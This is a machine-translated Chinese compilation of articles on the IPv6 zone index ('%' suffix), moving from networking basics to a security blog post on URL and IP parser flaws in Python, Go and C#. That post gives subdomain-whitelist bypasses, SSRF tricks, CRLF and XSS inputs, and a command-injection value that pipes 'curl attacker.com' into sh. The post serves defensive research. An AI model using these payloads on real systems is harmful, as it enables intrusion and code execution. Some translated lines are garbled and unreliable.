注:本文为 “IPV6 Zone Index | IPV6 地址中的百分号 | 流行编程语言的标准库中地址解析器实现的缺点” 相关文章合辑。
机翻,未校。
未整理去重。
What’s that % sign after ipconfig IPv6 address?
ipconfig IPv6 地址后面的 % 符号是什么?
Valter Popeskic IPv6
I see a % sign after my *IPv6 address?!
我在 IPV6 地址后看到一个 % 号?!
Zone IDs After Link-local Addresses? What the hell is that?
链接本地地址之后的区域 ID?那是什么?
If that is what you see with “ipconfig” on Windows machine with IPv6 enabled, this article is for you.
如果你在启用了 IPv6 的 Windows 机器上看到 “ipconfig” 就是这种情况,那么这篇文章就是为你准备的。
IPv6 address with % sign is called Link-Local IPv6 address. IPv6 addressing is done n this way. An address exists on every computer NIC that has network part same for all computers in the world. That part is called network identifier and is written fe80:0000:0000:0000 or to be short fe80::
带 % 符号的 IPv6 地址称为链路本地 IPv6 地址。IPv6 的寻址就是这样完成的。每个计算机网卡上都有一个地址,该地址具有世界上所有计算机相同的网络部分。该部分称为网络标识符,写为 fe80: 000000000000000 或简称 fe80:
If you have one network card (NIC) inside your computer, everything is working fine and your computer can speak IPv6 to all others in the local network.
如果您的计算机内有一个网卡 (NIC),则一切正常,您的计算机可以与本地网络中的所有其他人使用 IPv6。
On the other side!
在另一边!
If you are one of those guys (strange networking guys who run strange labs on their big PCs), having more NICs inserted in their machine? In that case, your PC will have two or more network interfaces and every one of them will have the same network identifier fe80:0000:0000:0000. If you go back to networking fundamentals, you will remember that a host (or router) with more interfaces cannot have two of them with IP addressing from the same subnet.
如果您是那些人中的一员(在他们的大型 PC 上运行奇怪实验室的奇怪网络家伙),那么他们的机器中插入了更多的 NIC?在这种情况下,您的 PC 将具有两个或多个网络接口,并且每个接口都将具有相同的网络标识符 fe80:0000:0000:0000。如果您回到网络基础知识,您将记住,具有更多接口的主机(或路由器)不能有两个具有来自同一子网的 IP 寻址的主机(或路由器)。
Why?
If you want to ping the address fe80::5c9f:bc10:bb38:63ec from your computer and your computer has two NICs with addresses fe80::1111:1111:a000:0001 and fe80::5555:5555:5555:1111. Out of what interface will the ping exit the computer? Hm, on both? Only on random one? This is not going to work.
如果要从计算机 ping 地址 fe80::5c9f:bc10:bb38:63ec,并且计算机有两个 NIC,地址分别为 fe80::1111:1111:a000:0001 和 fe80::5555:5555:5555:1111。ping 将从哪个界面退出计算机?嗯,两者都在?只随机一个?这是行不通的。
To resolve this issue there is Zone ID added to every NIC. This is the mysterious number after the % sign in the IPv6 Link-Local address. The number is basically an Interface ID.
要解决此问题,请向每个 NIC 添加区域 ID。这是 IPv6 Link-Local 地址中 % 符号后面的神秘数字。该数字基本上是一个接口 ID。
In the network example here, Interfaces have Zone IDs 18, 19, 20, and 21, respectively.
在此处的网络示例中,接口的区域 ID 分别为 18、19、20 和 21。
This number distinguishes the network segments by using a numeric zone ID following a percent sign after the IP address:
此数字通过在 IP 地址后使用数字区域 ID 后跟百分号来区分网段:
fe80:3438:7667:5c77:ce27%18
fe80::8939:7684:d84b:a5a4%19
fe80::711b:lc9:f462:7ed4%20
fe80::2112:1234:88a4:b421%21
Zone ID il locally significant and enables us to define out which interface we want to send some traffic.
区域 ID 在本地具有重要意义,使我们能够定义我们想要发送流量的接口。
If you want to ping a neighbor computer, you will need to specify the neighbor’s IPv6 Link-Local address plus the Zone ID of your computer’s network adapter that is going towards that computer.
如果要 ping 邻居计算机,则需要指定邻居的 IPv6 链接本地地址以及要流向该计算机的计算机的网络适配器的区域 ID。
UPDATE on 06 March 2019:
Few typos were corrected.
UPDATE on 30 March 2016:
Bob sent me a comment pointing out that this article has a huge number of typos. It was actually more than that. After getting through this few years old article I saw that is horribly written with terrible grammatical mistakes.
It is now completely rewritten and hopefully without any big mistake.
Thanks, Bob
Why is there a percent sign ‘%’ in the IPv6 address?
为什么 IPv6 地址中有百分号“%”?
asked Jan 23, 2010 at 21:42
Amith George’s
1. IPv6 地址中 “%” 符号后的数字含义
- The number after the ‘%’ is the scope ID. IPv6 defines at least three reachability scopes for addresses: Globally addressable (address given by ISP for public Internet use), Link-local (similar to 169.254.X.X range for local communications, not globally unique), and Node-local (similar to 127.0.0.1, like the address ::1). A computer can have multiple link-local addresses with different scopes, and the scope ID indicates which scope the address is for. For example, with a computer having two NICs and link-local addresses on different networks, the scope ID helps determine which NIC to send traffic out on.
- “%” 后面的数字是范围 ID。IPv6 为地址定义了至少三种可达性范围:全局可寻址(由 ISP 提供的用于公共互联网的地址)、链路本地(类似于 169.254.X.X 范围,用于本地通信,不是全局唯一的)和节点本地(类似于 127.0.0.1,如地址::1)。一台计算机可以有多个具有不同范围的链路本地地址,范围 ID 指示地址所属的范围。例如,一台计算机有两个网络接口卡(NIC),且在不同网络上有链路本地地址,范围 ID 有助于确定从哪个 NIC 发送流量。
2. 链路本地地址相关特点
- IPv6 addresses with the prefix fe80::/64 are link-local addresses that are constructed by combining that prefix with the hardware address of the network device. Since the prefix is the same for all link-local addresses on a machine, routing might sometimes need to know which interface you are referring to, and that’s what the number after the percent (called the zone index) specifies. On Windows, %16 is interface number 16; on Linux, it might be something like %eth0. Some tools or APIs may consider this zone index unimportant or implicit, but in general, it should be taken into account.
- 前缀为 fe80::/64 的 IPv6 地址是链路本地地址,它是由该前缀与网络设备的硬件地址组合而成。由于一台机器上所有链路本地地址的前缀相同,路由有时可能需要知道您所指的是哪个接口,而 “%” 后面的数字(称为区域索引)就是用于指定这个的。在 Windows 上,%16 表示接口号 16;在 Linux 上,可能是类似 %eth0 的形式。一些工具或 API 可能认为这个区域索引不重要或隐含,但一般来说,应该考虑到它。
3. Windows 系统中 “%” 后数字与网络接口的关系
- If you’re using Microsoft Windows, it uses numbers as the zone IDs. For a link-local address (in fe80::/64), the “zone ID” is an “interface index” of a network card. You can get a list of the (numeric) zone IDs by using commands like “netstat -nr” or “route print”. For example, an address like fe80::71a3:2b00:ddd3:753f%14 would refer to the network card related to “zone ID” 14. You can also see these “interface index” values with “WMIC NICCONFIG GET Caption,InterfaceIndex,IPAddress /FORMAT:LIST” (in PowerShell, use back-quotes before each comma).
- 如果您使用的是 Microsoft Windows,它使用数字作为区域 ID。对于链路本地地址(在 fe80::/64 中),“区域 ID” 是网卡的 “接口索引”。您可以使用 “netstat -nr” 或 “route print” 等命令获取(数字)区域 ID 的列表。例如,像 fe80::71a3:2b00:ddd3:753f%14 这样的地址将指向与 “区域 ID” 14 相关的网卡。您还可以使用 “WMIC NICCONFIG GET Caption,InterfaceIndex,IPAddress /FORMAT:LIST” 查看这些 “接口索引” 值(在 PowerShell 中,每个逗号前使用反引号)。
4. 使用链路本地地址进行通信时 “%” 后数字(区域 ID)的作用
- When pinging a remote address using a link-local address, you need to use the remote system’s IPv6 address and the local system’s “zone ID”. For example, if Computer A has a local IPv6 address of fe80::1 attached to Interface number 14 and wants to ping Computer B with a local IPv6 address of fe80::2 attached to its Interface number 16, you would use “ping fe80::2%14”. The zone ID 14 is from the system you’re using (Computer A), not the remote system. This is because when sending a ping to a link-local address like fe80::2, your computer needs to know which network card to send the packet out on. Since every network interface has a link-local address starting with “fe80:”, the zone ID helps specify the correct network device for the traffic.
- 当使用链路本地地址 ping 远程地址时,需要使用远端系统的 IPv6 地址和本地系统的 “区域 ID”。例如,如果计算机 A 的本地 IPv6 地址为 fe80::1,连接到接口号 14,并且希望 ping 计算机 B 的本地 IPv6 地址为 fe80::2,连接到接口号 16,您将使用 “ping fe80::2%14”。区域 ID 14 来自您正在使用的系统(计算机 A),而不是远程系统。这是因为当向链路本地地址(如 fe80::2)发送 ping 时,您的计算机需要知道在哪个网卡上发送数据包。由于每个网络接口都有一个以 “fe80:” 开头的链路本地地址,因此区域 ID 有助于为流量指定正确的网络设备。
IPv6 %:区域标识符的作用
perfcode 更新时间 2024-10-29
为什么 IPv6 地址存在 %
在 IPv6 地址中,符号 %
代表区域标识符(Zone Index),用于指定地址的作用域或接口。
IPv6 地址可以在多个网络接口之间共享,因此在某些情况下,特别是在多网卡设备上,可能需要指明使用哪个接口。
区域标识符的作用
1. 多接口环境
当设备有多个网络接口(如以太网、Wi-Fi 等)时,每个接口可能都有以相同的 fe80::
开头的链路本地地址,使用区域标识符可以清楚地指定要使用的接口。
2. 避免歧义
使用区域标识符可以避免在存在多个相同地址时的歧义。
例如,地址fe80::ec53:1e5f:ce40:8dc6%15
中的%15
指定了一个特定的接口,从而确保该地址被正确地解析。
IPV6 地址中的 % 号(Windows 中)
Michael_Xu 2018-12-04 18:38
在配置 ipv6 网络中,会发现 ipv6 地址后有 % 号,这表示什么呢?
IPv6 地址中的百分号是网卡 interface 标识。表示该地址仅限于标号为 21 的网络接口(一般指网卡或者虚拟网卡)。而在其他网络接口该地址是无效的。
由于所有的 link-local 地址都有相同的前缀 FE80::/64,并且每个网络接口都必须分配一个 link-local 地址,因而导致当发送数据包到一个 link-local 地址时,如果路由器使用普通的路由方法就无法决定选用哪个网络接口。
因此,引入了一种被叫做 zone index
的标识符,它提供额外的路由信息,这个标识符通常指网络接口,并且通过一个百分号 (%) 被附加在 IPv6 地址后面。但是准确的表示方法还取决于操作系统。
可以通过 cmd 中 使用 netsh
命令 进入 interface ipv6
中,使用 show joins
命令,既可以查看对应接口的实际标号:
流行编程语言标准库中地址解析器实现的缺点
Exploring IPv6 Zone Identifier
探索 IPv6 区域标识符
Posted on Apr 6, 2024
2024 Archie Theme | Built with Hugo
Introduction
This article is dedicated to a series of tricks utilizing the modern capabilities of IPv6 and the shortcomings of address parser implementations in standard libraries of popular programming languages.
本文专门介绍一系列利用 IPv6 的现代功能的技巧,以及流行编程语言的标准库中地址解析器实现的缺点。
IPv6 Zone
I think many people have an idea of what IPv6 and IPv4 addresses look like:
我想很多人都知道 IPv6 和 IPv4 地址是什么样的:
2001:0db8:85a3:0000:0000:8a2e:0370:7334 - IPv6
192.168.0.1 - IPv4
When including an IPv6 address in a URL, it needs to be enclosed in square brackets []:
在 URL 中包含 IPv6 地址时,需要将其括在方括号 [] 中:
http://[::1]/path?query=value#fragment
But many people forget about the Zone_ID concept in IPv6, let’s check RFC:
但是很多人忘记了 IPv6 中Zone_ID的概念,让我们看看 RFC:
In a URI, a literal IPv6 address is always embedded between "[" and
"]". This document specifies how a <zone_id> can be appended to the
address. According to URI syntax [RFC3986], "%" is always treated as
an escape character in a URI, so, according to the established URI
syntax [RFC3986] any occurrences of literal "%" symbols in a URI MUST
be percent-encoded and represented in the form "%25". Thus, the
scoped address fe80::a%en1 would appear in a URI as
http://[fe80::a%25en1].
在 URI 中,字面 IPv6 地址总是被包含在 “[” 和 “]” 之间。本文档指定了如何将 <zone_id> 附加到地址上。根据 URI 语法 [RFC3986],“%” 在 URI 中始终被视为转义字符。因此,根据既定的 URI 语法 [RFC3986],URI 中任何文字 “%” 符号都必须进行百分比编码,并表示为 “%25”。因此,作用域地址 fe80::a%en1 在 URI 中将显示为 http://[fe80::a%25en1]。
Many will be surprised, but this is a valid IPv6 address:
许多人会感到惊讶,但这是一个有效的 IPv6 地址:
[::1%slonser]
Whitelisted subomains
Golang and Python
Let’s consider the URL http://[::1]/
. If we try to extract the hostname in different languages, we’ll get different results:
让我们考虑 URL http://[::1]/
。如果我们尝试提取不同语言的主机名,我们会得到不同的结果:
Go(Hostname), Python - ::1
Go(Host),C#, Java, PHP - [::1]
As seen in Go and Python, the IPv6 address will be returned without the square brackets []. To understand the potential issues this might cause, let’s consider some code examples: Python
如 Go 和 Python 中所示,返回的 IPv6 地址将不带方括号 []。为了了解这可能会导致的潜在问题,让我们考虑一些代码示例:Python
from urllib.parse import urlparse
def is_subdomain_of_example(url_string):
parsed_url = urlparse(url_string)
if parsed_url.hostname:
print(parsed_url.hostname)
host_parts = parsed_url.hostname.split('.')
if len(host_parts) >= 3 and host_parts[-2:] == ['example', 'com']:
return True
return False
def main():
url = "..."
if is_subdomain_of_example(url):
print(url, "is a subdomain of example.com")
else:
print(url, "is not a subdomain of example.com")
if __name__ == "__main__":
main()
And golang:
package main
import (
"fmt"
"net/url"
"strings"
)
func isSubdomainOfExample(urlString string) bool {
parsedURL, err := url.Parse(urlString)
if err != nil {
fmt.Println("Error:", err)
return false
}
hostParts := strings.Split(parsedURL.Hostname(), ".")
if len(hostParts) >= 3 && hostParts[len(hostParts)-2] == "example" && hostParts[len(hostParts)-1] == "com" {
return true
}
return false
}
func main() {
urlToCheck := "..."
if isSubdomainOfExample(urlToCheck) {
fmt.Println(urlToCheck, "is a subdomain of example.com")
} else {
fmt.Println(urlToCheck, "is not a subdomain of example.com")
}
}
The essence of these code examples is roughly the same; they check whether the passed URL is a subdomain of example.com (a common method by splitting the URL based on dots).
这些代码示例的本质大致相同;它们检查传递的 URL 是否是 example.com 的子域(一种基于点拆分 URL 的常见方法)。
Let’s leverage our knowledge of IPv6 Zone Identifier and use the following line:
让我们利用我们对 IPv6 区域标识符的了解,使用以下行:
https://[::1%25.example.com]
In both cases, we will see output:
在这两种情况下,我们都会看到输出:
http://[::1%25.example.com] is a subdomain of example.com
But if we execute requests to these addresses, they will be executed against the address [::1]
.
但是如果我们对这些地址执行请求,它们将针对地址 [::1]
执行。
To make this logic safer, you just need to use .netloc
in Python and .Host
in Go. (These methods returns addresses in []
)
为了使这个逻辑更安全,你只需要在 Python 中使用 .netloc
,在 Go 中使用 .Host
。(这些方法返回 []
中的地址)
C#
While I was testing this vector, I decided to look into how it’s implemented in the standard C# library. As mentioned earlier, C# returns the address without [], but it turned out that besides Host, there’s also DnsSafeHost, which is susceptible to the same issue.
在测试此向量时,我决定研究一下它是如何在标准 C# 库中实现的。如前所述,C# 返回的地址不带 [],但事实证明,除了 Host 之外,还有 DnsSafeHost,它容易受到同样问题的影响。
using System;
using System.Net.Http;
using System.Threading.Tasks;
class Program
{
static async Task<bool> IsSubdomainOfExampleAsync(string urlString)
{
Uri uri = new Uri(urlString);
string[] hostParts = uri.DnsSafeHost.Split('.');
if (hostParts.Length >= 3 && hostParts[^2] == "example" && hostParts[^1] == "com")
{
return true;
}
return false;
}
static async Task Main()
{
string urlToCheck = "http://[::1%25.example.com]";
if (await IsSubdomainOfExampleAsync(urlToCheck))
{
Console.WriteLine(urlToCheck + " is a subdomain of example.com");
}
else
{
Console.WriteLine(urlToCheck + " is not a subdomain of example.com");
}
}
}
ip_address and Injections
ipaddress.ip_address
is the most common way to parse IP addresses in Python.
ipaddress.ip_address
是在 Python 中解析 IP 地址的最常用方法。
>>> import ipaddress
>>> ipaddress.ip_address('::1%slonser')
IPv6Address('::1%slonser')
>>> print(ipaddress.ip_address('::1%slonser'))
::1%slonser
We’ve confirmed that the library returns the Zone Identifier. It’s important to understand that many developers are not aware of this behavior, which leads to injections.
我们已确认该库返回 Zone Identifier。请务必了解,许多开发人员不知道这种行为,这会导致注入。
A few real-life examples:
一些真实的例子:
URL formating
Example: 例:
addr = ipaddress.ip_address('::1%61]@example.com#')
url = f"https://[{addr}]:80/info"
In such cases, it’s possible to bypass the brackets []
and redirect the request using @
to a destination different from what the developer expects. Also works with parsed_url._replace
:
在这种情况下,可以绕过括号 []
并使用 @
将请求重定向到与开发人员预期不同的目的地。也适用于 parsed_url._replace
:
parsed_url._replace(netloc="[::1%61]@example.com")
RCE
In some cases (if you’re very lucky), this can lead to the possibility of executing code:
在某些情况下(如果你非常幸运),这可能会导致执行代码的可能性:
os.system(f"ping -c 1 {addr} > ./file")
We can’t use the “/” symbol, but it’s still possible to execute code:
我们不能使用 “/” 符号,但仍然可以执行代码:
>>> ipaddress.ip_address('::1%;curl attacker.com | sh;')
IPv6Address('::1%;curl attacker.com | sh;')
Another
It’s important to understand that achieving CRLF is also possible in some use cases:
请务必了解,在某些用例中也可以实现 CRLF:
>>> ipaddress.ip_address('::1%\r\nasd')
IPv6Address('::1%\r\nasd')
Also you can try to get XSS with:
您也可以尝试使用以下方法获取 XSS:
https://[::1%<h1>slon<h1>]
Python will parse hostname as:
Python 会将主机名解析为:
::1%<h1>slon<h1>
Also, it is important to understand that:
此外,了解以下内容也很重要:
>>> ipaddress.ip_address('::1%a') == ipaddress.ip_address('::1%b')
False
When comparing, we will find that these are different addresses, but it is the same address, only leading through different zones. In some cases, this allows bypassing blacklist checks.
比较时,我们会发现这些是不同的地址,但是是同一个地址,只是穿过不同的区域。在某些情况下,这允许绕过黑名单检查。
In fact, this provides ample room for attacks, as developers rarely consider that an IPv6 address could contain any injection. I won’t enumerate other possibilities.
事实上,这为攻击提供了充足的空间,因为开发人员很少考虑 IPv6 地址可能包含任何注入。我不会列举其他可能性。
Golang, golang…
Finally, I want to delve further into parsing the Zone Identifier in Golang and why it’s unique. Let’s dive into sources:
最后,我想进一步深入研究 Golang 中的区域标识符解析以及为什么它是唯一的。让我们深入了解来源:
zone := strings.Index(host[:i], "%25")
if zone >= 0 {
host1, err := unescape(host[:zone], encodeHost)
if err != nil {
return "", err
}
host2, err := unescape(host[zone:i], encodeZone)
if err != nil {
return "", err
}
host3, err := unescape(host[i:], encodeHost)
if err != nil {
return "", err
}
return host1 + host2 + host3, nil
Here it can be noticed that Golang uses URL decoding for the passed Zone Identifier. Let’s take a closer look at how it works.
这里可以注意到,Golang 对传递的 Zone Identifier 使用 URL 解码。让我们仔细看看它是如何工作的。
urlToCheck := "http://[::1%2561%5d%3c%3e]"
parsedURL, err := url.Parse(urlToCheck)
if err != nil {
fmt.Println("Error:", err)
}
fmt.Println(parsedURL.Hostname())
fmt.Println(parsedURL.Host)
Will output: 将输出:
::1%61]<>
[::1%61]<>]
( Yeah, we can close []
😃) You can use this for attacks based on IP parsing differences.
(是的,我们可以关闭 []
😃)您可以将其用于基于 IP 解析差异的攻击。
You might have also noticed that net/url simply searches for the first occurrence of %25 in the hostname. This behavior does not comply with the standards.
您可能还注意到,net/url 只是搜索主机名中第一次出现的 %25。此行为不符合标准。
urlToCheck := "http://[%2561]"
parsedURL, err := url.Parse(urlToCheck)
if err != nil {
fmt.Println("Error:", err)
}
fmt.Println(parsedURL.Hostname())
fmt.Println(parsedURL.Host)
/*
Output:%61
[%61]
*/
It may seem to provide little benefit, but it can be exploited with another incorrect implementation in net/url.
它似乎没有什么好处,但可以通过 net/url 中的另一个错误实现来利用它。
urlToCheck := "http://[%2561.google.com]"
...
/*
Output: %61.google.com
[%61.google.com]
*/
In some cases, this can help you achieve SSRF. It’s enough to set up a server where %61.attacker.com
responds with a global address, while a.attacker.com responds with 127.0.0.1
. In rare cases, you may be lucky enough to achieve SSRF.
在某些情况下,这可以帮助您实现 SSRF。设置一个服务器就足够了,其中 %61.attacker.com
使用全局地址进行响应,而 a.attacker.com 使用 127.0.0.1
进行响应。在极少数情况下,您可能很幸运地获得了 SSRF。
Conclusion
In conclusion, I would like to say that the IPv6 Zone Identifier is useful because most developers believe that the IP address is a structure with a stricter format than it actually is. This misconception opens up a significant opportunity for attacks that are underestimated by the cybersecurity community.
总之,我想说 IPv6 区域标识符很有用,因为大多数开发人员认为 IP 地址是一种格式比实际格式更严格的结构。这种误解为网络安全社区低估的攻击提供了重要机会。
It’s also worth noting that all designed parsers (supporting IPv6 Zone) have different implementations and parse addresses differently. I didn’t spend much time studying this topic; perhaps someone else can come up with many more interesting aspects related to this trick.
还值得注意的是,所有设计的解析器(支持 IPv6 Zone)都有不同的实现,并且解析地址的方式也不同。我没有花太多时间研究这个话题;也许其他人可以想出更多与这个技巧相关的有趣方面。
via:
-
What’s that % sign after ipconfig IPv6 address?
https://howdoesinternetwork.com/2013/ipv6-zone-id -
Why is there a percent sign ‘%’ in the IPv6 address? - asked Jan 23, 2010 at 21:42 Amith George’s
https://superuser.com/questions/99746/why-is-there-a-percent-sign-in-the-ipv6-address -
为什么 IPv6 地址存在 %:区域标识符的作用 - 完美代码
https://www.perfcode.com/windows/issues/ipv6-address-zone-index -
IPV6 地址中的 % 号什么意思 - “Michael_Xu” - 博客园 posted @ 2018-12-04 18:38 Michael_Xu
https://www.cnblogs.com/xuyaowen/p/ipv6-address.html -
Exploring IPv6 Zone Identifier - Slonser Notes 2024 Archie Theme | Built with Hugo
https://blog.slonser.info/posts/ipv6-zones/